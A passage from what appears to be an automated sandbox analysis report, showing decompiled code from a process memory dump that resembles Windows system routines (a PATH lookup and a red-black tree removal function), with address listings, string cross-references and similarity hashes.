					_v44 =  *[fs:0x18];
					_t318 = 0;
					 *_a24 = 0;
					_t280 = _a12;
					__eflags = _t280;
					if(_t280 == 0) {
						_t243 = 0xc0000100;
					} else {
						_v8 = 0;
						_t327 = 0xc0000100;
						_v52 = 0xc0000100;
						_t245 = 4;
						while(1) {
							_v40 = _t245;
							__eflags = _t245;
							if(_t245 == 0) {
								break;
							}
							_t293 = _t245 * 0xc;
							_v48 = _t293;
							__eflags = _t280 -  *((intOrPtr*)(_t293 + 0x1e0d1664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t260 = E1E13E5C0(_a8,  *((intOrPtr*)(_t293 + 0x1e0d1668)), _t280);
									_t335 = _t335 + 0xc;
									__eflags = _t260;
									if(__eflags == 0) {
										_t327 = E1E1751BE(_t280,  *((intOrPtr*)(_v48 + 0x1e0d166c)), _a16, _t318, _t327, __eflags, _a20, _a24);
										_v52 = _t327;
										break;
									} else {
										_t245 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t245 = _t245 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t327;
						__eflags = _t327;
						if(_t327 < 0) {
							__eflags = _t327 - 0xc0000100;
							if(_t327 == 0xc0000100) {
								_t289 = _a4;
								__eflags = _t289;
								if(_t289 != 0) {
									_v36 = _t289;
									__eflags =  *_t289 - _t318;
									if( *_t289 == _t318) {
										_t327 = 0xc0000100;
										goto L76;
									} else {
										_t306 =  *((intOrPtr*)(_v44 + 0x30));
										_t247 =  *((intOrPtr*)(_t306 + 0x10));
										__eflags =  *((intOrPtr*)(_t247 + 0x48)) - _t289;
										if( *((intOrPtr*)(_t247 + 0x48)) == _t289) {
											__eflags =  *(_t306 + 0x1c);
											if( *(_t306 + 0x1c) == 0) {
												L106:
												_t327 = E1E122AE4( &_v36, _a8, _t280, _a16, _a20, _a24);
												_v32 = _t327;
												__eflags = _t327 - 0xc0000100;
												if(_t327 != 0xc0000100) {
													goto L69;
												} else {
													_t318 = 1;
													_t289 = _v36;
													goto L75;
												}
											} else {
												_t250 = E1E106600( *(_t306 + 0x1c));
												__eflags = _t250;
												if(_t250 != 0) {
													goto L106;
												} else {
													_t289 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t327 = E1E122C50(_t289, _a8, _t280, _a16, _a20, _a24, _t318);
											L76:
											_v32 = _t327;
											goto L69;
										}
									}
									goto L108;
								} else {
									E1E10EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t327 = _a24;
									_t257 = E1E122AE4( &_v36, _a8, _t280, _a16, _a20, _t327);
									_v32 = _t257;
									__eflags = _t257 - 0xc0000100;
									if(_t257 == 0xc0000100) {
										_v32 = E1E122C50(_v36, _a8, _t280, _a16, _a20, _t327, 1);
									}
									_v8 = _t318;
									E1E122ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t243 = _t327;
					}
					L70:
					return E1E14D0D1(_t243);
				}
				L108:
			}

0x1e122584
0x1e122586
0x1e122590
0x1e122596
0x1e122597
0x1e122598
0x1e122599
0x1e12259e
0x1e1225a4
0x1e1225a9
0x1e1225ac
0x1e1225ae
0x1e1225b1
0x1e1225b2
0x1e1225b5
0x1e1225b8
0x1e1225bb
0x1e1225bc
0x1e1225bf
0x1e1225c2
0x1e1225c5
0x1e1225c6
0x1e1225cb
0x1e1225ce
0x1e1225d8
0x1e1225dd
0x1e1225de
0x1e1225e1
0x1e1225e3
0x1e1225e9
0x1e1226da
0x1e1226da
0x1e1226dd
0x1e1226e2
0x1e165b56
0x00000000
0x1e1226e8
0x1e1226f9
0x1e1226fb
0x1e1226fe
0x1e122700
0x1e165b60
0x00000000
0x1e122706
0x1e122706
0x1e12270a
0x1e12270a
0x1e12270d
0x1e122713
0x1e122716
0x1e122718
0x1e12271c
0x1e12271e
0x1e165b6c
0x1e165b6f
0x1e165b7f
0x1e165b89
0x1e165b8e
0x1e165b93
0x1e165b96
0x1e165b9c
0x1e165ba0
0x1e165ba3
0x1e165bab
0x1e165bb0
0x1e165bb3
0x1e165bb3
0x1e165ba3
0x1e122724
0x1e122726
0x1e122729
0x1e12272c
0x1e12279d
0x1e12279d
0x1e1227a0
0x1e1227a2
0x00000000
0x1e12272e
0x1e12272e
0x1e122731
0x1e122734
0x1e122734
0x1e122736
0x1e165bc1
0x1e165bc1
0x1e165bc4
0x00000000
0x1e165bca
0x1e165bca
0x1e165bcd
0x00000000
0x1e165bd3
0x00000000
0x1e165bd3
0x1e165bcd
0x1e12273c
0x1e12273c
0x1e122742
0x1e122747
0x1e12274a
0x1e12274d
0x1e122750
0x00000000
0x1e122756
0x1e122756
0x00000000
0x1e122902
0x1e122908
0x1e12290b
0x00000000
0x1e122911
0x1e12291c
0x1e122921
0x00000000
0x1e122921
0x00000000
0x00000000
0x1e122880
0x1e122887
0x1e12288c
0x00000000
0x00000000
0x1e122805
0x1e12280a
0x1e122814
0x1e122816
0x00000000
0x00000000
0x1e12281e
0x1e122821
0x1e122823
0x00000000
0x1e122829
0x1e122829
0x1e122831
0x1e12283c
0x1e12283e
0x00000000
0x1e12283e
0x00000000
0x00000000
0x1e12284e
0x1e122850
0x1e122851
0x1e122854
0x1e122857
0x1e12285a
0x1e12285c
0x1e12285d
0x00000000
0x00000000
0x1e12275d
0x1e122761
0x00000000
0x1e122767
0x1e12276e
0x1e122773
0x1e122773
0x1e122776
0x1e122778
0x1e12277e
0x1e12277e
0x1e122781
0x1e122781
0x1e122783
0x1e122784
0x00000000
0x00000000
0x1e165bd8
0x1e165bde
0x1e165be4
0x1e165be6
0x1e165be8
0x1e165be9
0x1e165bee
0x1e165bf8
0x1e165bff
0x1e165c01
0x1e165c04
0x1e165c07
0x1e165c0b
0x1e165c0d
0x1e165c0d
0x1e165c15
0x1e165c18
0x1e165c1b
0x1e165c1b
0x1e165c1e
0x00000000
0x00000000
0x1e1228c3
0x1e1228c8
0x1e1228d2
0x1e1228d4
0x1e1228d8
0x1e1228db
0x1e165c26
0x1e165c28
0x1e165c2d
0x1e165c2d
0x00000000
0x00000000
0x1e165c34
0x1e165c36
0x1e165c49
0x1e165c4e
0x1e165c54
0x1e165c5b
0x1e165c5d
0x1e165c60
0x1e122788
0x1e122788
0x1e12278b
0x1e12278e
0x1e12278e
0x1e12278e
0x1e122791
0x00000000
0x00000000
0x1e122756
0x1e122750
0x00000000
0x1e122794
0x1e122794
0x1e122795
0x1e122798
0x1e122798
0x00000000
0x1e122734
0x1e12272c
0x1e122700
0x1e1225ef
0x1e1225ef
0x1e1225ef
0x1e1225f2
0x1e1225f8
0x00000000
0x00000000
0x1e1225fe
0x00000000
0x1e1228e6
0x1e1228ec
0x1e1228ef
0x1e1228f5
0x1e1228f8
0x1e1228f8
0x00000000
0x1e1228f8
0x00000000
0x00000000
0x1e122866
0x1e122866
0x1e122876
0x1e122879
0x00000000
0x00000000
0x1e1227e0
0x1e1227e7
0x1e1227e9
0x1e1227eb
0x1e165afd
0x00000000
0x1e165afd
0x00000000
0x00000000
0x1e122633
0x1e122638
0x1e12263b
0x1e12263c
0x1e12263e
0x1e122640
0x1e122642
0x1e122647
0x1e122649
0x1e12264e
0x1e122650
0x1e122653
0x1e122659
0x1e1226a2
0x1e1226a7
0x1e1226ac
0x1e1226b2
0x1e165b11
0x1e165b15
0x1e165b17
0x00000000
0x1e1226b8
0x1e1226b8
0x1e1226ba
0x1e1227a6
0x1e1227a6
0x1e1227a9
0x1e1227ab
0x1e1227b9
0x1e1227b9
0x1e1227be
0x1e1227c1
0x1e1227c3
0x1e1227c5
0x1e1227c7
0x1e165c74
0x1e165c79
0x1e165c79
0x1e1227c7
0x00000000
0x1e1226c0
0x1e1226c0
0x1e1226c3
0x1e1226c6
0x1e1226c6
0x1e1226c9
0x1e1226c9
0x00000000
0x1e1226c9
0x1e1226ba
0x1e12265b
0x1e12265b
0x1e12265e
0x1e122667
0x1e12266d
0x1e122677
0x1e12267c
0x1e12267f
0x1e122681
0x1e165b49
0x1e165b4e
0x1e1227cd
0x1e1227d0
0x1e1227d1
0x1e1227d2
0x1e1227d4
0x1e1227dd
0x1e122687
0x1e122687
0x1e12268a
0x1e12268b
0x1e12268e
0x1e12268f
0x1e122691
0x1e122696
0x1e122698
0x1e12269d
0x1e12269f
0x00000000
0x1e12269f
0x1e122681
0x00000000
0x00000000
0x1e122846
0x00000000
0x00000000
0x1e122605
0x1e12260a
0x1e12260c
0x1e122611
0x1e122616
0x1e122619
0x1e122619
0x1e12261e
0x00000000
0x1e122624
0x1e122627
0x1e122627
0x00000000
0x00000000
0x1e165b1f
0x00000000
0x00000000
0x1e122894
0x1e12289b
0x1e12289d
0x1e1228a1
0x1e165b2b
0x1e165b2e
0x1e165b2e
0x1e1228a7
0x1e1228a9
0x1e165b04
0x1e165b09
0x1e165b09
0x1e165b09
0x00000000
0x00000000
0x1e165b35
0x1e165b3c
0x1e1228fb
0x1e1228fb
0x1e1226cc
0x1e1226cc
0x1e1226d0
0x00000000
0x1e1226d2
0x1e1226d2
0x00000000
0x1e1226d2
0x00000000
0x00000000
0x1e1225fe
0x1e12292d
0x1e12292d
0x1e122930
0x1e122935
0x1e122937
0x1e122939
0x1e12293c
0x1e12293d
0x1e12293f
0x1e122941
0x1e122946
0x1e12294e
0x1e12294f
0x1e122950
0x1e122951
0x1e122952
0x1e122954
0x1e122955
0x1e12295a
0x1e12295c
0x1e12295d
0x1e122960
0x1e122961
0x1e122963
0x1e122965
0x1e122966
0x1e122968
0x1e122969
0x1e12296a
0x1e12296c
0x1e12296e
0x1e12296f
0x1e122971
0x1e122974
0x1e122977
0x1e12297b
0x1e12297c
0x1e12297d
0x1e12297e
0x1e12297f
0x1e122980
0x1e122981
0x1e122982
0x1e122983
0x1e122984
0x1e122985
0x1e122986
0x1e122987
0x1e122988
0x1e122989
0x1e12298a
0x1e12298b
0x1e12298c
0x1e12298d
0x1e12298e
0x1e12298f
0x1e122990
0x1e122992
0x1e122997
0x1e1229a3
0x1e1229a6
0x1e1229ab
0x1e1229ad
0x1e1229b0
0x1e1229b2
0x1e165c80
0x1e1229b8
0x1e1229b8
0x1e1229bb
0x1e1229c0
0x1e1229c5
0x1e1229c6
0x1e1229c6
0x1e1229c9
0x1e1229cb
0x00000000
0x00000000
0x1e1229cd
0x1e1229d0
0x1e1229d9
0x1e1229db
0x1e1229dd
0x1e122a7f
0x1e122a84
0x1e122a87
0x1e122a89
0x1e165ca1
0x1e165ca3
0x00000000
0x1e122a8f
0x1e122a8f
0x00000000
0x1e122a8f
0x00000000
0x1e1229e3
0x1e1229e3
0x1e1229e3
0x00000000
0x1e1229e3
0x1e1229dd
0x00000000
0x1e1229db
0x1e1229e6
0x1e1229e9
0x1e1229eb
0x1e1229ed
0x1e1229f3
0x1e1229f5
0x1e1229f8
0x1e1229fa
0x1e122a97
0x1e122a9a
0x1e122a9d
0x1e122add
0x00000000
0x1e122a9f
0x1e122aa2
0x1e122aa5
0x1e122aa8
0x1e122aab
0x1e165cab
0x1e165caf
0x1e165cc5
0x1e165cda
0x1e165cdc
0x1e165cdf
0x1e165ce5
0x00000000
0x1e165ceb
0x1e165ced
0x1e165cee
0x00000000
0x1e165cee
0x1e165cb1
0x1e165cb4
0x1e165cb9
0x1e165cbb
0x00000000
0x1e165cbd
0x1e165cbd
0x00000000
0x1e165cbd
0x1e165cbb
0x1e122ab1
0x1e122ab1
0x1e122ac4
0x1e122ac6
0x1e122ac6
0x00000000
0x1e122ac6
0x1e122aab
0x00000000
0x1e122a00
0x1e122a09
0x1e122a0e
0x1e122a21
0x1e122a24
0x1e122a35
0x1e122a3a
0x1e122a3d
0x1e122a42
0x1e122a59
0x1e122a59
0x1e122a5c
0x1e122a5f
0x1e122a5f
0x1e1229fa
0x1e1229f3
0x1e122a64
0x1e122a64
0x1e122a6b
0x1e122a6b
0x1e122a6d
0x1e122a72
0x1e122a72
0x00000000

Strings

PATH, xrefs: 1E122642, 1E122691

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: 67155dd26c756ce9343a4ce042024fb93935c6aa9a9fe0e5e79aaf83d85f5fe9
Instruction ID: afb8aceecfb79b479a62b272d5a2b2b6b7b28b7f8bed3970d957478f03208a63
Opcode Fuzzy Hash: 67155dd26c756ce9343a4ce042024fb93935c6aa9a9fe0e5e79aaf83d85f5fe9
Instruction Fuzzy Hash: 8EC19F75E0021A9BCF15CF99CD90BEDB7B2FF58B10FA54629F801AB250D774A981CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1E0FF900, Relevance: .9, Instructions: 863
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E1E0FF900(signed int _a4, signed int _a8) {
				signed char _v5;
				signed char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed char _t285;
				signed int _t289;
				signed char _t292;
				signed int _t293;
				signed char _t295;
				signed int _t300;
				signed int _t301;
				signed char _t306;
				signed char _t307;
				signed char _t308;
				signed int _t310;
				signed int _t311;
				signed int _t312;
				signed char _t314;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t322;
				signed int _t323;
				signed int _t328;
				signed char _t329;
				signed int _t337;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				signed int _t348;
				signed char _t350;
				signed int _t351;
				signed char _t353;
				signed char _t356;
				signed int _t357;
				signed char _t359;
				signed int _t360;
				signed char _t363;
				signed int _t364;
				signed int _t366;
				signed int* _t372;
				signed char _t373;
				signed char _t378;
				signed int _t379;
				signed int* _t382;
				signed int _t383;
				signed char _t385;
				signed int _t387;
				signed int _t388;
				signed char _t390;
				signed int _t393;
				signed int _t395;
				signed char _t397;
				signed int _t401;
				signed int _t405;
				signed int _t407;
				signed int _t409;
				signed int _t410;
				signed int _t413;
				signed char _t415;
				signed int _t416;
				signed char _t418;
				signed int _t419;
				signed int _t421;
				signed int _t422;
				signed int _t423;
				signed char* _t425;
				signed char _t426;
				signed char _t427;
				signed int _t428;
				signed int _t429;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t444;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				signed int _t454;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t461;
				signed int _t462;
				signed int _t464;
				signed int _t467;
				signed int _t470;
				signed int _t474;
				signed int _t475;
				signed int _t477;
				signed int _t481;
				signed int _t483;
				signed int _t486;
				signed int _t487;
				signed int _t488;

				_t285 =  *(_a4 + 4);
				_t444 = _a8;
				_t452 =  *_t444;
				_t421 = _t285 & 1;
				if(_t421 != 0) {
					if(_t452 != 0) {
						_t452 = _t452 ^ _t444;
					}
				}
				_t393 =  *(_t444 + 4);
				if(_t421 != 0) {
					if(_t393 != 0) {
						_t393 = _t393 ^ _t444;
					}
				}
				_t426 = _t393;
				if(_t452 != 0) {
					_t426 = _t452;
				}
				_v5 = _t285 & 0x00000001;
				asm("sbb eax, eax");
				if((_t393 &  ~_t452) != 0) {
					_t289 = _t393;
					_t427 = _v5;
					_t422 = _t393;
					_v12 = _t393;
					_v16 = 1;
					if( *_t393 != 0) {
						_v16 = _v16 & 0x00000000;
						_t445 =  *_t393;
						goto L115;
						L116:
						_t289 = _t445;
						L117:
						_t445 =  *_t289;
						if(_t445 != 0) {
							L115:
							_t422 = _t289;
							if(_t427 != 0) {
								goto L183;
							}
							goto L116;
						} else {
							_t444 = _a8;
							_v12 = _t289;
							goto L27;
						}
						L183:
						if(_t445 == 0) {
							goto L116;
						}
						_t289 = _t289 ^ _t445;
						goto L117;
					}
					L27:
					if(_t427 != 0) {
						if(_t452 == 0) {
							goto L28;
						}
						_t428 = _t289 ^ _t452;
						L29:
						 *_t289 = _t428;
						_t429 =  *(_t452 + 8);
						_v20 = _t429;
						_t426 = _t429 & 0xfffffffc;
						_t292 =  *(_a4 + 4) & 0x00000001;
						_v6 = _t292;
						_t293 = _v12;
						if(_t292 != 0) {
							if(_t426 != 0) {
								_t426 = _t426 ^ _t452;
							}
						}
						if(_t426 != _t444) {
							L174:
							_t423 = 0x1d;
							asm("int 0x29");
							goto L175;
						} else {
							_t436 = _t293;
							if(_v6 != 0) {
								_t436 = _t436 ^ _t452;
							}
							_v20 = _v20 & 0x00000003;
							_v20 = _v20 | _t436;
							 *(_t452 + 8) = _v20;
							_t426 =  *(_t393 + 8) & 0xfffffffc;
							_t356 =  *(_a4 + 4) & 0x00000001;
							_v6 = _t356;
							_t357 = _v12;
							if(_t356 != 0) {
								if(_t426 != 0) {
									_t426 = _t426 ^ _t393;
								}
							}
							if(_t426 != _t444) {
								goto L174;
							} else {
								_t483 = _t393 ^ _t357;
								_v24 = _t483;
								if(_v6 == 0) {
									_v24 = _t357;
								}
								 *(_t393 + 8) =  *(_t393 + 8) & 0x00000003 | _v24;
								_t426 =  *(_t357 + 4);
								_t444 = _a8;
								_t359 =  *(_a4 + 4) & 0x00000001;
								_v6 = _t359;
								_t360 = _v12;
								_v24 = _t483;
								if(_t359 != 0) {
									_v24 = _t483;
									if(_t426 == 0) {
										goto L37;
									}
									_t426 = _t426 ^ _t360;
									L38:
									if(_v6 == 0) {
										_t483 = _t393;
									}
									_t413 =  *(_t360 + 8);
									 *(_t360 + 4) = _t483;
									_t452 = _t413 & 0xfffffffc;
									_v5 = _t413;
									_t363 =  *(_a4 + 4) & 0x00000001;
									_v6 = _t363;
									if(_t363 != 0) {
										_t364 = _v12;
										_v5 = _t413;
										if(_t452 == 0) {
											goto L41;
										}
										_v20 = _t452;
										_v20 = _v20 ^ _t364;
										L42:
										if(_v20 != _t422) {
											_v5 = _t413;
											if(_v6 == 0) {
												L199:
												_t366 = _v12;
												L200:
												if(_t452 != 0 || _t366 != _t422) {
													goto L174;
												} else {
													goto L43;
												}
											}
											_t366 = _v12;
											_v5 = _t413;
											if(_t452 == 0) {
												goto L199;
											}
											_t452 = _t452 ^ _t366;
											goto L200;
										}
										L43:
										_t486 =  *(_t444 + 8) & 0xfffffffc;
										if(_v6 != 0) {
											if(_t486 != 0) {
												_t486 = _t486 ^ _t444;
											}
											if(_v6 != 0 && _t486 != 0) {
												_t486 = _t486 ^ _t366;
											}
										}
										_t415 = _t413 & 0x00000003 | _t486;
										 *(_t366 + 8) = _t415;
										_t416 = _v12;
										 *(_t416 + 8) = ( *(_t444 + 8) ^ _t415) & 0x00000001 ^ _t415;
										_t452 =  *(_t444 + 8);
										_t372 = _a4;
										if((_t452 & 0xfffffffc) == 0) {
											if( *_t372 != _t444) {
												goto L174;
											} else {
												 *_t372 = _t416;
												goto L52;
											}
										} else {
											_t452 = _t452 & 0xfffffffc;
											_t378 = _t372[1] & 0x00000001;
											_v6 = _t378;
											if(_t378 != 0) {
												if(_t452 != 0) {
													_t452 = _t452 ^ _t444;
												}
											}
											_t379 =  *(_t452 + 4);
											if(_v6 != 0) {
												if(_t379 != 0) {
													_t379 = _t379 ^ _t452;
												}
											}
											_v24 = _t379;
											_t382 = _t452 + (0 | _v24 == _t444) * 4;
											_v28 = _t382;
											_t383 =  *_t382;
											if(_v6 != 0) {
												if(_t383 != 0) {
													_t383 = _t383 ^ _t452;
												}
											}
											if(_t383 != _t444) {
												goto L174;
											} else {
												if(_v6 != 0) {
													_t487 = _t452 ^ _t416;
												} else {
													_t487 = _t416;
												}
												 *_v28 = _t487;
												L52:
												_t373 = _v5;
												L12:
												_t452 = _a4;
												_v5 = _t373 & 0x00000001;
												if(( *(_t452 + 4) & 0x00000001) != 0) {
													if(_t426 == 0) {
														goto L13;
													}
													_t306 = _t422 ^ _t426;
													L14:
													_t444 = _v16;
													 *(_t422 + _t444 * 4) = _t306;
													if(_t426 != 0) {
														_t306 =  *(_t426 + 8) & 0xfffffffc;
														_t418 =  *(_t452 + 4) & 0x00000001;
														_v6 = _t418;
														_t419 = _v12;
														if(_t418 != 0) {
															if(_t306 != 0) {
																_t306 = _t306 ^ _t426;
															}
														}
														if(_t306 != _t419) {
															goto L174;
														} else {
															if(_v6 != 0) {
																if(_t422 != 0) {
																	_t422 = _t422 ^ _t426;
																}
															}
															 *(_t426 + 8) = _t422;
															L24:
															return _t306;
														}
													}
													if(_v5 != _t426) {
														goto L24;
													} else {
														_t395 = _t452;
														_t306 =  *(_t395 + 4);
														L17:
														_t446 = _t423;
														_t434 = _v16 ^ 0x00000001;
														_v24 = _t446;
														_v12 = _t434;
														_t452 =  *(_t423 + _t434 * 4);
														if((_t306 & 0x00000001) != 0) {
															if(_t452 == 0) {
																goto L18;
															}
															_t426 = _t452 ^ _t446;
															L19:
															if(( *(_t426 + 8) & 0x00000001) != 0) {
																_t310 =  *(_t426 + 8) & 0xfffffffc;
																_t444 = _t306 & 1;
																if(_t444 != 0) {
																	if(_t310 != 0) {
																		_t310 = _t310 ^ _t426;
																	}
																}
																if(_t310 != _t423) {
																	goto L174;
																} else {
																	if(_t444 != 0) {
																		if(_t452 != 0) {
																			_t452 = _t452 ^ _t423;
																		}
																	}
																	if(_t452 != _t426) {
																		goto L174;
																	} else {
																		_t452 =  *(_t423 + 8) & 0xfffffffc;
																		if(_t444 != 0) {
																			if(_t452 == 0) {
																				L170:
																				if( *_t395 != _t423) {
																					goto L174;
																				} else {
																					 *_t395 = _t426;
																					L140:
																					if(_t444 != 0) {
																						if(_t452 != 0) {
																							_t452 = _t452 ^ _t426;
																						}
																					}
																					 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t452;
																					_t300 =  *(_t426 + _v16 * 4);
																					if(_t444 != 0) {
																						if(_t300 == 0) {
																							goto L143;
																						}
																						_t300 = _t300 ^ _t426;
																						goto L142;
																					} else {
																						L142:
																						if(_t300 != 0) {
																							_t401 =  *(_t300 + 8);
																							_t452 = _t401 & 0xfffffffc;
																							if(_t444 != 0) {
																								if(_t452 != 0) {
																									_t452 = _t452 ^ _t300;
																								}
																							}
																							if(_t452 != _t426) {
																								goto L174;
																							} else {
																								if(_t444 != 0) {
																									_t481 = _t300 ^ _t423;
																								} else {
																									_t481 = _t423;
																								}
																								 *(_t300 + 8) = _t401 & 0x00000003 | _t481;
																								goto L143;
																							}
																						}
																						L143:
																						if(_t444 != 0) {
																							if(_t300 != 0) {
																								_t300 = _t300 ^ _t423;
																							}
																						}
																						 *(_t423 + _v12 * 4) = _t300;
																						_t454 = _t426;
																						if(_t444 != 0) {
																							_t455 = _t454 ^ _t423;
																							_t301 = _t455;
																						} else {
																							_t301 = _t423;
																							_t455 = _t454 ^ _t301;
																						}
																						 *(_t426 + _v16 * 4) = _t301;
																						_t395 = _a4;
																						if(_t444 == 0) {
																							_t455 = _t426;
																						}
																						 *(_t423 + 8) =  *(_t423 + 8) & 0x00000003 | _t455;
																						 *(_t426 + 8) =  *(_t426 + 8) & 0x000000fe;
																						 *(_t423 + 8) =  *(_t423 + 8) | 0x00000001;
																						_t426 =  *(_t423 + _v12 * 4);
																						_t306 =  *(_t395 + 4);
																						if((_t306 & 0x00000001) != 0) {
																							if(_t426 != 0) {
																								_t426 = _t426 ^ _t423;
																							}
																						}
																						_t446 = _v24;
																						goto L20;
																					}
																				}
																			}
																			_t452 = _t452 ^ _t423;
																		}
																		if(_t452 == 0) {
																			goto L170;
																		}
																		_t311 =  *(_t452 + 4);
																		if(_t444 != 0) {
																			if(_t311 != 0) {
																				_t311 = _t311 ^ _t452;
																			}
																		}
																		if(_t311 == _t423) {
																			if(_t444 != 0) {
																				L175:
																				_t295 = _t452 ^ _t426;
																				goto L169;
																			} else {
																				_t295 = _t426;
																				L169:
																				 *(_t452 + 4) = _t295;
																				goto L140;
																			}
																		} else {
																			_t312 =  *_t452;
																			if(_t444 != 0) {
																				if(_t312 != 0) {
																					_t312 = _t312 ^ _t452;
																				}
																			}
																			if(_t312 != _t423) {
																				goto L174;
																			} else {
																				if(_t444 != 0) {
																					_t314 = _t452 ^ _t426;
																				} else {
																					_t314 = _t426;
																				}
																				 *_t452 = _t314;
																				goto L140;
																			}
																		}
																	}
																}
															}
															L20:
															_t456 =  *_t426;
															_t307 = _t306 & 0x00000001;
															if(_t456 != 0) {
																if(_t307 != 0) {
																	_t456 = _t456 ^ _t426;
																}
																if(( *(_t456 + 8) & 0x00000001) == 0) {
																	goto L21;
																} else {
																	L56:
																	_t461 =  *(_t426 + _v12 * 4);
																	if(_t307 != 0) {
																		if(_t461 == 0) {
																			L59:
																			_t462 = _v16;
																			_t444 =  *(_t426 + _t462 * 4);
																			if(_t307 != 0) {
																				if(_t444 != 0) {
																					_t444 = _t444 ^ _t426;
																				}
																			}
																			 *(_t444 + 8) =  *(_t444 + 8) & 0x000000fe;
																			_t452 = _t462 ^ 0x00000001;
																			_t405 =  *(_t395 + 4) & 1;
																			_t316 =  *(_t444 + 8) & 0xfffffffc;
																			_v28 = _t405;
																			_v24 = _t452;
																			if(_t405 != 0) {
																				if(_t316 != 0) {
																					_t316 = _t316 ^ _t444;
																				}
																			}
																			if(_t316 != _t426) {
																				goto L174;
																			} else {
																				_t318 = _t452 ^ 0x00000001;
																				_v32 = _t318;
																				_t319 =  *(_t426 + _t318 * 4);
																				if(_t405 != 0) {
																					if(_t319 != 0) {
																						_t319 = _t319 ^ _t426;
																					}
																				}
																				if(_t319 != _t444) {
																					goto L174;
																				} else {
																					_t320 =  *(_t423 + _t452 * 4);
																					if(_t405 != 0) {
																						if(_t320 != 0) {
																							_t320 = _t320 ^ _t423;
																						}
																					}
																					if(_t320 != _t426) {
																						goto L174;
																					} else {
																						_t322 =  *(_t426 + 8) & 0xfffffffc;
																						if(_t405 != 0) {
																							if(_t322 != 0) {
																								_t322 = _t322 ^ _t426;
																							}
																						}
																						if(_t322 != _t423) {
																							goto L174;
																						} else {
																							_t464 = _t423 ^ _t444;
																							_t323 = _t464;
																							if(_t405 == 0) {
																								_t323 = _t444;
																							}
																							 *(_t423 + _v24 * 4) = _t323;
																							_t407 = _v28;
																							if(_t407 != 0) {
																								if(_t423 != 0) {
																									L72:
																									 *(_t444 + 8) =  *(_t444 + 8) & 0x00000003 | _t464;
																									_t328 =  *(_t444 + _v24 * 4);
																									if(_t407 != 0) {
																										if(_t328 == 0) {
																											L74:
																											if(_t407 != 0) {
																												if(_t328 != 0) {
																													_t328 = _t328 ^ _t426;
																												}
																											}
																											 *(_t426 + _v32 * 4) = _t328;
																											_t467 = _t426 ^ _t444;
																											_t329 = _t467;
																											if(_t407 == 0) {
																												_t329 = _t426;
																											}
																											 *(_t444 + _v24 * 4) = _t329;
																											if(_v28 == 0) {
																												_t467 = _t444;
																											}
																											_t395 = _a4;
																											_t452 = _t426;
																											 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t467;
																											_t426 = _t444;
																											L80:
																											 *(_t426 + 8) =  *(_t426 + 8) ^ ( *(_t426 + 8) ^  *(_t423 + 8)) & 0x00000001;
																											 *(_t423 + 8) =  *(_t423 + 8) & 0x000000fe;
																											 *(_t452 + 8) =  *(_t452 + 8) & 0x000000fe;
																											_t337 =  *(_t426 + 8) & 0xfffffffc;
																											_t444 =  *(_t395 + 4) & 1;
																											if(_t444 != 0) {
																												if(_t337 != 0) {
																													_t337 = _t337 ^ _t426;
																												}
																											}
																											if(_t337 != _t423) {
																												goto L174;
																											} else {
																												_t339 =  *(_t423 + _v12 * 4);
																												if(_t444 != 0) {
																													if(_t339 != 0) {
																														_t339 = _t339 ^ _t423;
																													}
																												}
																												if(_t339 != _t426) {
																													goto L174;
																												} else {
																													_t452 =  *(_t423 + 8) & 0xfffffffc;
																													if(_t444 != 0) {
																														if(_t452 == 0) {
																															L160:
																															if( *_t395 != _t423) {
																																goto L174;
																															} else {
																																 *_t395 = _t426;
																																L93:
																																if(_t444 != 0) {
																																	if(_t452 != 0) {
																																		_t452 = _t452 ^ _t426;
																																	}
																																}
																																_t409 = _v16;
																																 *(_t426 + 8) =  *(_t426 + 8) & 0x00000003 | _t452;
																																_t343 =  *(_t426 + _t409 * 4);
																																if(_t444 != 0) {
																																	if(_t343 == 0) {
																																		goto L96;
																																	}
																																	_t343 = _t343 ^ _t426;
																																	goto L95;
																																} else {
																																	L95:
																																	if(_t343 != 0) {
																																		_t410 =  *(_t343 + 8);
																																		_t452 = _t410 & 0xfffffffc;
																																		if(_t444 != 0) {
																																			if(_t452 != 0) {
																																				_t452 = _t452 ^ _t343;
																																			}
																																		}
																																		if(_t452 != _t426) {
																																			goto L174;
																																		} else {
																																			if(_t444 != 0) {
																																				_t474 = _t343 ^ _t423;
																																			} else {
																																				_t474 = _t423;
																																			}
																																			 *(_t343 + 8) = _t410 & 0x00000003 | _t474;
																																			_t409 = _v16;
																																			goto L96;
																																		}
																																	}
																																	L96:
																																	if(_t444 != 0) {
																																		if(_t343 != 0) {
																																			_t343 = _t343 ^ _t423;
																																		}
																																	}
																																	 *(_t423 + _v12 * 4) = _t343;
																																	if(_t444 != 0) {
																																		_t345 = _t426 ^ _t423;
																																		_t470 = _t345;
																																	} else {
																																		_t345 = _t423;
																																		_t470 = _t426 ^ _t345;
																																	}
																																	 *(_t426 + _t409 * 4) = _t345;
																																	if(_t444 == 0) {
																																		_t470 = _t426;
																																	}
																																	_t306 =  *(_t423 + 8) & 0x00000003 | _t470;
																																	 *(_t423 + 8) = _t306;
																																	goto L24;
																																}
																															}
																														}
